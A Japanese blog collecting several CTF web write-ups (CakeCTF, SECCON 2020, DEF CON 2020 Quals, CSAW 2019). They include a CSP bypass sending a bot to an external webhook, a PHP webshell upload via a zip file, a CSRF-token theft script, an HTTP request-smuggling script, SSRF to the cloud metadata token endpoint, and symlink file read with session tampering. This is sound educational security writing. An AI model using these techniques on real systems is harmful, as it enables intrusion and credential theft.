と打ってみたら次の結果が返ってきた。
> global _5V1 {__3: 0, _n4: 11}
global._n4
の値が残り歩数と一致しており、global._n4=10
などとすると残り歩数を変更することができる(ただし初期の歩数以上に増やすとチート検知される)。これで無限に歩けるようになったのでゲームを進めていく。
するとどう頑張っても解けない面が出現する。global.__3
についてはまだいじっていなかったのでこの値を1
にすると即クリア状態になった。最後まで問題を解くとflagが表示される。
初手で何故かglobalについて気づいたので一瞬で解くことができた。
travelog & travelog again
問題文
travelogの問題文。CSP bypass系の香りがする。
I'll travel all over the world and make some blog posts here after the pandemic is over. Just someone named CSP? is protecting us!
travelog againの問題文。
One more travel! :pleading_face:
どちらも問題のソースコードが与えられている。
問題の概要
記事の投稿と画像のアップロードができるサイトが与えられる。記事の表示画面ではXSSの脆弱性があるが、記事表示画面などではCSPヘッダとして次の値が指定されている。
default-src 'none';script-src 'nonce-Mohk4Cjc0xQADMtptz8Oaw==' 'unsafe-inline';style-src 'nonce-Mohk4Cjc0xQADMtptz8Oaw==' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/;frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/;img-src 'self';connect-src http: https:;base-uri 'self'
nonceが指定されているのでこの値がわからないとXSSは難しそう。
このサイトには管理者へ通報機能もあり、指定した記事のページを閲覧させることができる。与えられたコードを見るとtravelogではflagがクローラーのUser-Agentに入っており、travelog againではCookieに入れられていることがわかる。
page.setUserAgent(flag); // [!] steal this flag
await page.setCookie({ "domain":"challenge:8080", "name":"flag", "value":flag, "sameSite":"Strict", "httpOnly":false, "secure":false });
travelogの解き方
CSPでスクリプトやリソースなどの読み込みや実行は制限されていても、htmlのmeta要素でrefreshを指定すれば別のページにブラウザを遷移させることができる。
具体的には次の指定により指定したページにブラウザを遷移させることができる。webhook.siteなどで用意したページに遷移させることでUser-Agent、つまりflagを入手できる。
<meta http-equiv="refresh" content="0; URL={{遷移先}}>
User-Agent: CakeCTF{CSP_1s_n0t_4_s1lv3r_bull3t!_bang!_bang!}
ちなみにCTF中は(画像アップロード機能に引っ張られたせいで)これに気づかずtravelog againと同じ方法でtravelogも解いていた。
travelog againの解き方
travelog againではflagがcookieに入っているので外部サイトにアクセスさせるだけではflagが手に入らなくなっている。cookieを入手するにはtravelog againのサイト上でどうにかしてスクリプトを動かす必要がある。
色々いじっていると次のことがわかる。
- アップロードした画像をダウンロードする際はCSPヘッダがつかない
- アップロードした画像をダウンロードする際のContent-Typeはファイルの拡張子で決まる *1
mimetype (Optional[str]) – The MIME type to send for the file. If not provided, it will try to detect it from the file name.
- 画像をアップロードする際に
imghdr.what()
を使ってjpeg形式かどうかのチェックをする
imghdr.what()
のjpeg判定箇所は次の通り。List of file signatures - Wikipedia に書いてあるjpegのマジックナンバーを頭にくっつけるだけで突破できる。
def test_jpeg(h, f): """JPEG data in JFIF or Exif format""" if h[6:10] in (b'JFIF', b'Exif'): return 'jpeg'
というわけで、次の手順でflagを入手できる。
- 先頭にjpegのマジックナンバーをくっつけた、cookieを外部に送信するスクリプトを含む、htmlファイルをアップロードする。拡張子チェックがフロントエンド側であるが、ローカルプロキシなどでアップロードする際のファイル名の拡張子はhtmlにする。
- meta要素を使って1.でアップロードした画像に遷移する処理を記述した記事を投稿する。
- 2.で投稿した記事を管理者に通報機能で管理者に踏ませる
- flagが1.のスクリプトにより送られてくる
CakeCTF{I'll_n3v3r_trust_HTML:angry:}
ziperatops
問題文
Zip Listing as a Service
* The flag is written in somewhere on the root directory of the machine.
問題のソースコードも与えられる
問題の概要
zipファイルをアップロードすると中身のファイル名を表示してくれるシンプルなサービスが動いている。いくつかのチェック機構があり、zipファイル以外をアップロードすると警告が出る。
下のような感じで複数のファイルをアップロードすることも可能。この場合、それぞれのzipファイルに含まれているファイル名が出力される。
POST / HTTP/1.1 Host: web.cakectf.com:8004 Content-Type: multipart/form-data; boundary=---------------------------351753080217864772623200829852 Content-Length: 711 -----------------------------351753080217864772623200829852 Content-Disposition: form-data; name="zipfile[]"; filename="a.zip" Content-Type: application/zip ... -----------------------------351753080217864772623200829852 Content-Disposition: form-data; name="zipfile[]"; filename="b.zip" Content-Type: application/zip ... -----------------------------351753080217864772623200829852--
内部の処理を見ていく。
アップロードしたファイルはランダムなディレクトリに一時格納される。ディレクトリ名は都度生成されるので推測することはできない。
$dname = sha1(uniqid()); @mkdir("temp/$dname");
アップロードしたファイルは次の処理でチェックされる。
/* Check the uploaded zip file */
$zip = new ZipArchive;
if ($zip->open($tmpfile) !== TRUE)
return array($dname, "Invalid file format");
/* Check filename */
if (preg_match('/^[-_a-zA-Z0-9\.]+$/', $filename, $result) !== 1)
return array($dname, "Invalid file name: $filename");
/* Detect hacking attempt (This is not necessary but just in case) */
if (strstr($filename, "..") !== FALSE)
return array($dname, "Do not include '..' in file name");
/* Check extension */
if (preg_match('/^.+\.zip/', $filename, $result) !== 1)
return array($dname, "Invalid extension (Only .zip is allowed)");
/* Move the files */
if (@move_uploaded_file($tmpfile, "temp/$dname/$filename") !== TRUE)
return array($dname, "Failed to upload the file: $dname/$filename");
zipファイルとして開くことができるか、ファイル名に変な記号が入っていないか、ファイル名に.zip
が含まれているかなどがチェックされる(.zip
で終わる必要はない)。
チェックが通過したら、最後の処理としてアップロードされたファイルをtemp/$dname/$filename
に移動する処理がある。この処理に失敗するとエラーメッセージとして$dname/$filename
が出力される。
(エラーでもエラーでなくとも)処理が終了した際には、以下の処理によりファイルが削除される。
function cleanup($dname) { foreach (glob("temp/$dname/*") as $file) { @unlink($file); } @rmdir("temp/$dname"); }
解き方
flagはサーバーのローカルにあるのでLFIあるいはRCEができる必要がある。なんとなくRCEで解く雰囲気がするのでその方向で考えていく。
前述の通り、ファイルの移動に失敗するとファイルを移動先のディレクトリ名がわかる。めちゃくちゃ長いファイル名のファイルをアップロードするとエラーとなりディレクトリ名がリークする。
Error: Failed to upload the file: 25f6faca99b00e2392482d174c9dacd66f6f8c94/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zip
複数のファイルを同時にアップロードでき、同時にアップロードしたファイルは同じディレクトリに移動されるので、移動に失敗しなかったファイルは上記のリークしたディレクトリに存在しているとわかる。
phpファイルをアップロードできればRCEができるが、同時にzipファイルとして開けないとエラーとなってしまう。そういうファイルはphpのコード自体をファイル名としたファイルを圧縮することで生成することができる。
$ touch "<?php phpinfo(); ?>" $ zip info.zip "<?php phpinfo(); ?>"
00000000: 504b 0304 1400 0800 0800 7baf 1d53 0000 PK........{..S.. 00000010: 0000 0000 0000 0000 0000 1300 2000 3c3f ............ .<? 00000020: 7068 7020 7068 7069 6e66 6f28 293b 203f php phpinfo(); ? 00000030: 3e55 540d 0007 cb84 2b61 cb84 2b61 cb84 >UT.....+a..+a.. 00000040: 2b61 7578 0b00 0104 f501 0000 0414 0000 +aux............ 00000050: 0003 0050 4b07 0800 0000 0002 0000 0000 ...PK........... 00000060: 0000 0050 4b01 0214 0314 0008 0008 007b ...PK..........{ 00000070: af1d 5300 0000 0002 0000 0000 0000 0013 ..S............. 00000080: 0020 0000 0000 0000 0000 00a4 8100 0000 . .............. 00000090: 003c 3f70 6870 2070 6870 696e 666f 2829 .<?php phpinfo() 000000a0: 3b20 3f3e 5554 0d00 07cb 842b 61cb 842b ; ?>UT.....+a..+ 000000b0: 61cb 842b 6175 780b 0001 04f5 0100 0004 a..+aux......... 000000c0: 1400 0000 504b 0506 0000 0000 0100 0100 ....PK.......... 000000d0: 6100 0000 6300 0000 0000 a...c.....
cleanupの処理でアップロードしたファイルは削除されてしまうがこの処理は回避することができる。削除するファイルはglob("temp/$dname/*")
で取得しているが、この書き方だと隠しファイル(.
から始まるファイル)は取得できない。
これらを踏まえると次の手順によりflagを入手することができる。
- web shell的な機能のあるphpのコードを含むzipファイルを生成する。都合により、このコードはここには掲載しない。
- Webサイトに2つのファイルをアップロードする。1つ目のファイルは1.で生成したファイル。ファイル名は
.a.zip.php
のようなドットから始まるファイル名にする。2つ目のファイル名はめちゃくちゃ長いファイル名のzipファイルをアップロードする。 - エラーメッセージとして2.のファイルがアップロードされたディレクトリが判明する。
- 3.により判明したディレクトリ名を使ってアップロードしたphpファイルにアクセスする(
/uploads/{{リークしたディレクトリ名}}/.a.zip.php
)。 - flagが手に入る
CakeCTF{uNd3r5t4nd1Ng_4Nd_3xpl01t1Ng_f1l35y5t3m_cf1944}
感想
ほぼWebしか解いてないですが、良いCTFだったと思います。
SECCON 2020 OnlineCTF - Milk & Milk Revenge Writeup
今年も会社のチームでSECCON CTFに参加しました。MilkとMilk Revengeを同じ解き方でといたのでWiteupをかく。
チラッと他の人のwriteupを見たらCSPを使ってcsrf tokenの利用を防ぐっぽいことをしているっぽかったが、そういうことをせずに解けてしまった。
問題の概要としては以下の通り。
- ユーザー登録と登録したユーザーでログインできるサイトが提供される
- このサイトはログインすると自分にしか見れない秘密のメモ(note)を投稿することができる
- サイトのadminしか見られない領域にflagが存在し、これを入手するのが目標
解き方
セッション管理
問題のソースコードが渡されるので見てみると、このWebサイトはPHPで動いているフロントエンドサーバーとDenoで動いているAPIサーバーで構成されているということがわかる。また、これらのサーバーの前にnginxがリバプロとして動いているということもわかる。さらに、「管理者に報告」機能がありadminに指定したURLヘアクセスさせることができることもわかる。
このサイトの特徴的な部分として、APIサーバーにおけるユーザー認証処理が挙げられる。
通常であればCookieのセッションキーからユーザーの認証状態を把握すると思うが、このAPIサーバーは例えばnoteの投稿時には以下の処理によりユーザー認証を行う。
- ユーザーが投稿ボタンを押下する
- ブラウザがAPIサーバーからcsrf tokenを取得する(この際、Cookieにはサーバーにより署名(正確にはHMAC-SHA256)されたユーザー名が含まれる)
- APIサーバーはCookieの署名を検証し、問題なければユーザー名に紐づいたcsrf tokenを発行する
- ブラウザは受け取ったcsrf tokenと投稿内容をAPIサーバーに送信する
- APIサーバーはcsrf tokenから紐づくユーザー名を取得し、投稿内容とユーザー名を紐付けてデータベース に保存する
上記からわかるように、adminに紐づくcsrf tokenを手に入れることさえできればCookieがなくともAPIサーバーにadminとして認識され、adminしか見られない領域にあるflagの入手が可能となる。
キャッシュ
nginx.conf
を見ると以下の設定により、APIサーバーからの200 OK
の応答を1分間キャッシュするということがわかる。
location / { proxy_pass http://api:8000; proxy_read_timeout 5s; proxy_cache one; proxy_cache_valid 200 1m; }
nginxのドキュメントModule ngx_http_proxy_moduleによるとキャッシュのキーは次の通りである。
proxy_cache_key $scheme$proxy_host$uri$is_args$args;
これを見るとcsrf tokenを取得するurl(https://milk-api.chal.seccon.jp/csrf-token
)にアクセスすれば誰かのキャッシュされたcsrf tokenを取り放題のように思えるが実際にはブラウザがcsrf tokenを取得する際にはjQueryがクエリ文字列として_=12345678901234
のような値を後ろにつけるので、この値がわからないとcsrf tokenを盗むことができない。逆にいうと、adminがcsrf tokenを取得した際のURLがクエリ文字列を含めてわかればcsrf tokenを入手し、adminとしてサイトの操作が可能となる。
_
の固定方法
前述の通り、adminがcsrf tokenを取得する際の_
の部分の値を知ることができたらadminとしてサイトの操作が可能となる。_
の生成の大半はjQueryによってクライアントサイドで行われるが、唯一の例外としてnote.php
においてnote閲覧する際の処理がある。note.php
を見ると、リクエストのクエリ文字列の_
がcsrf token取得の_
として利用されることがわかる。
<script src=https://milk-api.chal.seccon.jp/csrf-token?_=<?= htmlspecialchars(preg_replace('/\d/', '', $_GET['_'])) ?> defer></script>
ここで一旦、note閲覧時の処理を整理する。
- ユーザーが
https://milk.chal.seccon.jp/notes/{NOTEID}
にアクセスする - nginxは内部的にリクエストを
https://milk.chal.seccon.jp/note.php?id={NOTEID}&_={RAND}
に書き換える(RAND
はnginxにより生成される) - フロントエンドサーバーは
<script src=https://milk-api.chal.seccon.jp/csrf-token?_={RAND} defer></script>
を含むhtmlを返す - ブラウザは
https://milk-api.chal.seccon.jp/csrf-token?_={RAND}
からcsrf tokenを取得する - ブラウザはcsrf tokenとURLに含まれるNOTEIDをAPIサーバーに送信する
- APIサーバーはcsrf tokenによってユーザーを識別し、noteの内容を返す
なお、2. の処理は次のnginx.conf
の設定によって行われる。
location ~ ^/notes/(?<id>.+) { set_secure_random_lcalpha $res 32; try_files $uri /note.php?id=$id&_=$res; }
ここで2.のURLは内部リクエストの指定がないため、外部から直接アクセスすることができてしまう。つまり、例えばhttps://milk.chal.seccon.jp/note.php?id={NOTEID}&_=AAAAAAAAAAAAAAA
のようなURLにアクセスすると、結果としてhttps://milk-api.chal.seccon.jp/csrf-token?_=AAAAAAAAAAAAAAA
からcsrf tokenを取得するというように外部からcsrf token取得の際の_
の値を操作することが可能となる。
adminのcsrf tokenの窃取
前述の方法を組み合わせることによりadminのcsrf tokenの窃取が可能となる。
具体的には、adminにhttps://milk.chal.seccon.jp/note.php?id={NOTEID}&_=AAAAAAAAAAAAAAA
にアクセスさせればhttps://milk-api.chal.seccon.jp/csrf-token?_=AAAAAAAAAAAAAAA
からcsrf tokenを取得したということがわかる。https://milk-api.chal.seccon.jp/csrf-token?_=AAAAAAAAAAAAAAA
の内容はnginxに1分間キャッシュされるので、https://milk-api.chal.seccon.jp/csrf-token?_=AAAAAAAAAAAAAAA
にアクセスすることによりadminのcsrf tokenが取得できる。
あとは取得したcsrf tokenを使ってhttps://milk-api.chal.seccon.jp/notes/flag?token={CSRF TOKEN}
に即座にリクエストすればflagが手に入る。
実際に解いてみる
import requests csrfkey = "long-random-string" sess = requests.Session() resp = sess.post( "https://milk.chal.seccon.jp/report", data={ "url": f"https://milk.chal.seccon.jp/note.php?id=5f8194640060b4e000e5f735&_={csrfkey}" }, ) print(resp.text) while True: resp = sess.get(f"https://milk-api.chal.seccon.jp/csrf-token?_={csrfkey}") print(resp.text) if "Referer header is not set" not in resp.text: token = resp.text[19:-2] print(token) break resp = sess.get( f"https://milk-api.chal.seccon.jp/notes/flag?token={token}", headers={"Referer": "https://milk.chal.seccon.jp/"}, ) print(resp.text)
なお、csrf tokenは一度使われると無効になり、実際にadminがhttps://milk.chal.seccon.jp/note.php?id={NOTEID}&_=AAAAAAAAAAAAAAA
でcsrf tokenを取得した直後に使われることになるが、上記スクリプトではどうやらadminのリクエストよりも先にcsrf tokenを使えているようで問題なくflagを入手することができた。
SECCON{I_am_heavily_concerning_about_unintended_sols_so_I_dont_put_any_spoiler_here_but_anyway_congrats!}
Milk Revengeもリクエスト先のURLを変えれば同じスクリプトで解くことができた。
SECCON{Okay_there_was_actually_unintended_solution_as_I_intended_blahblah}
DEF CON CTF 2020 Quals Writeup - pooot
試行錯誤をものすごくした途中経過が書いてあるので解法を知りたい人は一番下までスクロールしてください。
問題の調査
問題文に書かれたURLにアクセスするといわゆるWeb-based Proxyサービス(一昔前だとCGIプロキシと呼ばれていた気もする)であることがわかる。このサイトを使うと、指定したURLにサーバーがアクセスしてくれ、その結果を返してくれる。またfeedback機能として、管理者にURLを送信する機能もある。ガチャガチャして分かったことをまとめると次の通り。
/source
でソースコードを見ることができる- コードを読むとPythonのrequestsで指定されたURLをGETし、htmlを少し編集し返すだけということがわかる
- 取得するページは
https://pooot.challenges.ooo/{Domain}/{Path}
の形式で指定する
- 取得するページは
- サーバーは、リクエストするURLのホスト部とそれを名前解決した結果が同じ場合はhttpとしてリクエストし、異なる場合はhttpsとしてリクエストする
- リクエストするURLのホスト部が172.25.から始まる場合において、リクエスト元が172.25.0.11でない場合は処理を拒否する
- リクエストヘッダに
X-Forwarded-For: 172.25.0.11
を指定することでこの制約をバイパスできる
- リクエストヘッダに
/feedback
で管理者にURLを報告できる- 管理者は指定されてURLに対して、今回の問題のサービスを使ってアクセスする。この際、headless chromeでアクセスしてくれるので
https://pooot.challenges.ooo/
をオリジンとしてJavaScriptを動かしたりすることができる。
- 管理者は指定されてURLに対して、今回の問題のサービスを使ってアクセスする。この際、headless chromeでアクセスしてくれるので
(ソースコードを保存し忘れたので、記憶を元に書いており微妙に違う部分があるかも)
解答の方針
問題を見て以下の2パターンを思いついた
- 今回のサービスはSSRFができる(というかSSRFをするためのサービス)ため、クラウドサービスのメタデータエンドポイント(169.254.169.254など)から情報を読み出して攻略する
- feedback機能で管理者のブラウザを操作して情報を窃取する
前者は現実にありそうな状況*1でWebだけではなく、クラウドサービスに関する知識も求められそうで非常に面白そうだし、後者もWeb-based Proxyサービスの特殊性(全てのサイトのオリジンが同じになるため、CookieやLocalStorage、パーミッションなどが共通となる)を悪用するというのはセキュリティの技術として面白そうだと思って、久しぶりに面白いWeb問なんじゃないかという予感がした。
1. の方針で試したこと
https://pooot.challenges.ooo/169.254.169.254
にアクセスするとこのサーバーがGCPで動いていることがわかる。https://pooot.challenges.ooo/169.254.169.254/computeMetadata/v1beta1/instance/service-accounts/default/token
からaccess_tokenを取得できる。与えられたscopeを見るとdevstorageのreadが(たぶん)付与されていることがわかる。また今回のサーバーがhackpack-ctf-2020
(!?)というプロジェクトに属するということがわかる(使い回し?)。
GCPのdevstorageのread権限はCloud Storageのread権限なので、何か面白いオブジェクトがないか探してみる。まずこのaccess_tokenでアクセスできるバケットを調べるとctf2020-vm-images
というバケットが見つかった。しかし中を覗いても空。何の情報も得られなかった。
今回のサービスはjob queueにRedisを使っているのでGCPのMemorystoreから何か情報が得られないか試行錯誤したり、Dockerで動いている可能性が高いと考え*2、GCRからaccess_tokenを使ってイメージを落とせないか試行錯誤するなど相当の時間を費やした。
2. の方針で試したこと
管理者が管理者用のページに今回のサービスを使ってアクセスしていた場合、管理者ページのオリジンもhttps://pooot.challenges.ooo/
となるため何か痕跡が残っているのではないかと考えた。CookieやLocalStorage、SessionStorageなど情報が保存されそうな箇所の中身を、用意したサーバーに送信させるページを用意し管理者にアクセスさせた。しかしこれらの領域は全て空だった。
今回のスコアサーバーはZoomを激しくインスパイアしたものだったので、実は管理者のブラウザにビデオカメラが接続されていてそこにflagが映っているかもしれないと考えたが、カメラなどのデバイスは繋がっていないようだった。
(強引な)解法
172.25.から始まるIPアドレスに対してアクセス制限がかかっていることが気になり、172.25.0.0/24の80と8080番ポートをスキャンしてみることにした。具体的にはhttps://pooot.challenges.ooo/172.25.0.0
などにアクセスしまくった。https://pooot.challenges.ooo/172.25.0.103:8080
からhttps://pooot.challenges.ooo/
の内容が返ってきたが、それ以外のIPアドレスからはアクセスの失敗の応答が返ってきた。ほとんどのIPアドレスでアクセス失敗の応答まで1秒ほどかかっていたが、いくつかのIPアドレスからは0.1秒程度でアクセス失敗の応答が返ってきたので、失敗の応答が早かったIPアドレスにはホストが存在していると考え、これらのIPアドレスに対して1 - 9999番ポートまでスキャンをした。
すると172.25.0.102:3000からflagを含む応答が返ってきた。
ちなみに172.25.0.112, 113, 114あたりでheadless chromeが動いているようで、タイミングによっては9222/TCPでheadless chromeのデバッグ接続をすることができた。
きちんとした解法
チームのメンバーから、下記ページにある通り、Service Workerを使うとページを遷移した後でもリクエストを補足できることを利用してflagが書かれたURLを入手できるらしいと教えてもらった。なるほど。
チームのメンバーからはこの問題の出典(といえばいいのか?)が下記の論文であるということも教えてもらった。
DEF CON CTF 2020 Quals Writeup - uploooadit
今年もTeam EnuのメンバーとしてDEF CON CTFの予選に出てきました。uploooaditとpoootを解いたので久しぶりにwriteupを書いていく。
問題の調査
問題として問題サーバーのURLとサーバーで動いているソースコードが2つ与えられる。
https://github.com/o-o-overflow/dc2020q-uploooadit/blob/master/app.py
https://github.com/o-o-overflow/dc2020q-uploooadit/blob/master/store.py
与えられたコードを読むと、このサーバーには2つの機能があることがわかる。
- ファイル保存機能:
/files/
にファイルをPOSTするとファイルを保存できる。このとき、リクエストヘッダに指定したX-guid
をキーとして保存される。 - ファイル読み出し機能:
/files/<guid>
からファイルをGETできる。
2つのソースコードを読む限り、このWebアプリには脆弱性があるようには見えない。
サーバーにリクエストを投げてみるとレスポンスに以下の情報が含まれていることに気づく。
Server: gunicorn/20.0.0 Via: haproxy
Webアプリに脆弱性がないとなるとより低いレイヤー(つまりミドルウェア)での攻撃である可能性があると考え、HTTP request smuggling*1関連の可能性があると思った。さらにGunicorn 20.0.1のChangelogに次の一文があるのを見つけ、request smugglingを使う蓋然性がかなり高いと感じた。
fixed chunked encoding support to prevent any request smuggling
HTTP request smuggling
HAProxyとGunicornの組み合わせでrequest smugglingをググった結果、次のページが見つかった。
一言で言うと、この問題は特定のバージョンのHAProxyとGunicornの組み合わせた場合、それぞれのサーバーのリクエストの解釈の方法の違いからrequest smugglingを発生させ、他の人のリクエストを操作できてしまう。というもの。
具体的には[ブラウザ] -> [HAProxy] -> [Gunicorn]という構成において、攻撃者が次のようなリクエストを行うとする。
POST / HTTP/1.1 Host: 127.0.0.1 Content-Length: 43 Transfer-Encoding: [\x0b]chunked 1 Z 0 GET /foobar HTTP/1.1 X-Foo: AAA
するとHAProxyは(本来ならばTransfer-Encodingを優先すべきだが\x0bという文字が含まれることによりリクエストがchunkedであると解釈できず)Content-Length: 43のリクエストとして解釈する。また、攻撃者のリクエストの直後に被害者が次のようなリクエストを行うとする。
GET / HTTP/1.1 Host: 127.0.0.1
するとバックエンドのGunicornには、コネクションが使いまわされている場合、次のリクエストが送信されることになる。
POST / HTTP/1.1 Host: 127.0.0.1 Content-Length: 43 Transfer-Encoding: [\x0b]chunked 1 Z 0 GET /foobar HTTP/1.1 X-Foo: AAAGET / HTTP/1.1 Host: 127.0.0.1
Gunicornは最初のリクエストをTransfer-Encoding: chunkedとして解釈するため、2つのリクエストはそれぞれ次のように解釈されることになる。
POST / HTTP/1.1 Host: 127.0.0.1 Content-Length: 43 Transfer-Encoding: [\x0b]chunked 1 Z 0
GET /foobar HTTP/1.1 X-Foo: AAAGET / HTTP/1.1 Host: 127.0.0.1
被害者は本来/
に対してリクエストをしたかったのに/foobar
に対してリクエストをしたことになっている。
解法
request smugglingを使うことにより、他人にリクエストを操作できることが分かった。これにより、今回の問題においては他人のリクエストをサーバーにファイルとして保存させることができる。これを読み出すことで他人のリクエスト内容を覗き見ることができる。botか何かが定期的にflagを書き込んでいると仮定して次のスクリプトを回し続けることで https://uploooadit.oooverflow.io/files/00000000-0000-0000-0005-00000000f1a8にリクエストが保存されるので、この内容を監視することでflagを入手することができた。
import socket import ssl import timeout_decorator @timeout_decorator.timeout(0.7) def main(): HOST = "uploooadit.oooverflow.io" PORT = 443 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setblocking(1) sock.connect((HOST, PORT)) context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2) context.verify_mode = ssl.CERT_NONE if ssl.HAS_SNI: secure_sock = context.wrap_socket(sock, server_side=False, server_hostname=HOST) else: secure_sock = context.wrap_socket(sock, server_side=False) req = """POST /files/ HTTP/1.1 Host: uploooadit.oooverflow.io Content-Type: text/plain X-guid: 00000000-0000-0000-0003-00000000f1a8 Content-Length: 162 Transfer-Encoding: \x0cchunked 1 A 0 POST /files/ HTTP/1.1 Host: uploooadit.oooverflow.io Content-Type: text/plain X-guid: 00000000-0000-0000-0005-00000000f1a8 Content-Length: 386 a""" print(req.replace("\n", "\r\n").encode()) secure_sock.write(req.replace("\n", "\r\n").encode()) print(secure_sock.read(1024).decode()) secure_sock.close() sock.close() if __name__ == "__main__": main()
書き込まれたファイル:
aPOST /files/ HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: invoker Accept-Encoding: gzip, deflate Accept: */* Content-Type: text/plain X-guid: 15db6493-44b5-4c9e-887b-82e639a25900 Content-Length: 152 X-Forwarded-For: 127.0.0.1 Congratulations! OOO{That girl thinks she's the queen of the neighborhood/She's got the hottest trike in town/That girl, she holds her head up so high}
ちなみにContent-Length: 386
は小さすぎても大きすぎてもダメなので小さい値から徐々に上げていくことでflagを全て読み出すことができる(大きすぎるとリクエストが失敗してファイルに何も書き込まれない)。
その他
問題のソースコードと作者による解説動画が公開されている(作者の想定通りの解法だった模様)。
GitHub - o-o-overflow/dc2020q-uploooadit: HTTP Desync Attack
*1:この記事が非常に分かりやすい: https://portswigger.net/web-security/request-smuggling
CSAW CTF 2019 Qualification Writeup - Secure File Storage (web 300)
問題の概要
ユーザーの作成、ログイン、ファイルのアップロードの機能があるWebサイトが与えられる。アップロードしたファイルを見る画面は見当たらない。
問題のヒントとして管理者がWebサイトに頻繁にアクセスしてきていることが付け加えられた。多分この情報がなかったらこの問題を解くことはできなかった。
HINT: The admin checks the site frequently!
調査
ファイルをアップロードするページには次のようなJavaScriptが書かれている。
if (localStorage.encryptSecret === undefined) { var secret = new Uint8Array(32); window.crypto.getRandomValues(secret); localStorage.encryptSecret = btoa(String.fromCharCode.apply(null, secret)); } $("#uploadForm").submit(function(e) { e.preventDefault(); var f = $("#file")[0].files[0]; if (!f) { alert("You must select a file!"); } else { var fr = new FileReader(); var fn = f.name; fr.onload = function(file) { var ciphertext = CryptoJS.AES.encrypt(fr.result, atob(localStorage.encryptSecret)).toString(); $.post({ url: "/api/v1/file/edit", data: {path: fn, content: btoa(ciphertext)} }).done(function() { location.reload(); }); }; fr.readAsText(f); } });
具体的には次のような処理が書かれている。
- ローカルストレージから鍵を読み込む(ただし、鍵がなければ生成してローカルストレージに保存する)
- ファイルを暗号化し、
/api/v1/file/edit
というエンドポイントにpath=<file name>&content=<encrypted data>
をPOSTする
edit
があるなら読み込む処理もあるはずだと色々試していると、/api/v1/file/read
にpath=<file name>
をPOSTするとedit
で書き込んだコンテンツを取得することができた。任意のファイルを読めないか、ディレクトリトラバーサル的なことを色々試してみたがどうやらここに脆弱性はなさそうだった(書き込みも同様)。
read
エンドポイントの存在はどこにも書かれていないので、この問題はある程度の推測とブルートフォースを要求される問題なんだと考えて、gobuster*1にdirectory-list-2.3-big.txtを読み込ませて他のエンドポイントを探った。
見つかったパスは次の通り。
/login
/admin
/register
/api/v1/file/edit
/api/v1/file/read
/api/v1/file/delete
/api/v1/file/list
/api/v1/file/symlink
/admin
にアクセスすると権限がないと言われ、アクセスができない。また、/api/v1/file/list
も同様に権限がないと言われる。
{"status":"error","error":"You are not authorized to perform this action"}
任意ファイルの読み出し
ここで注目したいのが/api/v1/file/symlink
である。path=<from>&target=<to>
をPOSTするとtargetで指定したパスへのシンボリックリンクを作成できるようだが、targetに制限はかけられていなかった。これを利用することでサーバー上の任意のファイルを読み込めるようになる。例えばpath=root&target=../../../../../../../../
を/api/v1/file/symlink
にPOSTし、path=root/var/www/html/index.php
を/api/v1/file/read
にPOSTすることでWebアプリのソースコードを読むことができる。
セッションファイルの改竄
Webアプリのソースコードを読むと、権限はセッションファイルに保存されていることがわかる(ログイン時にデータベースから権限を読み込みセッションに保存している)。PHPのセッションファイルは/tmp/sess_<PHPSESSID>
に保存されており、自身のセッションファイルを読み込むと次のような情報が保存されていた。
current_user|O:4:"User":4:{s:8:"username";s:6:"miotas";s:8:"password";s:60:"$2y$10$ll0vW.MpPMt.rU.zAEVvfu/PCHksYhVTTcVllialUoDGS0VWHJNxG";s:5:"privs";i:3;s:2:"id";i:234;}
ユーザーの権限はprivsのビットとして表現されており、全ての権限を有するためには15を指定すれば良い(なんか競技中はprivsがstringsだった気がするが、今見たらintegerになっている?)。
current_user|O:4:"User":4:{s:8:"username";s:6:"miotas";s:8:"password";s:60:"$2y$10$ll0vW.MpPMt.rU.zAEVvfu/PCHksYhVTTcVllialUoDGS0VWHJNxG";s:5:"privs";i:15;s:2:"id";i:234;}
この状態で/admin
にアクセスすると管理者画面っぽい画面が表示され、管理者になれたことがわかる。
flagの読み出し
ソースコードからユーザーが保存したデータは/tmp/user_data/<user id>
に保存されることがわかる。/api/v1/file/list
エンドポイントを使って調べるとflagは/tmp/user_data/1/flag.txt
に保存されていることがわかる。
flag.txtの内容は次の通り。
U2FsdGVkX18vg7gzzc/Q2XG2O5vpgFvBvX7nv4mLxfsuKQxvSrMjHu11kDPfUIYVtJ9b5ohVP7olboQV5MDOjQ==
flag.txtは暗号化されていることから、前述のアップロードページから暗号化されてアップロードされたと推測できる。
➜ echo U2FsdGVkX18vg7gzzc/Q2XG2O5vpgFvBvX7nv4mLxfsuKQxvSrMjHu11kDPfUIYVtJ9b5ohVP7olboQV5MDOjQ== | base64 -D | file - /dev/stdin: openssl enc'd data with salted password
flagを復号するには管理者のローカルストレージに保存された鍵を入手する必要がある。
鍵の入手
ヒントに書かれている、管理者がアクセスする画面がどのページなのか不明だが、/admin
にはアクセスしてくれると想定して色々調査する。するとWelcome XXX
に表示されているユーザー名はセッションから読み込まれており(ログイン時にセッションに書き込まれる)、エスケープされずに出力されていることがわかる。
このことから、管理者のセッションを特定し、ユーザー名にローカルストレージから鍵を盗み出すようなJavaScriptを指定することにより管理者のアクセス時に鍵を入手することができると想定できる。
/db.sql
にデータベースの初期化用のsqlが保存されておりこれを見ると管理者のパスワードのハッシュがわかる。この値を元に管理者のセッションファイルを特定するスクリプトを回した(usernameは他の人に書き換えられている可能性があり、idとprivsは他のユーザと重複する可能性があるため)。
INSERT INTO `User` (`id`, `username`, `password`, `privs`) VALUES (1, 'admin', '$2y$10$H38hS7IMk1MzSg/usdBvjuRucRGkEKrc/tJhJQOD7249oRpNqWc5O', 15);
するとsess_4umud1lupqn0mpibor27r283o1
というファイルが管理者のセッションファイルとしてヒットした。
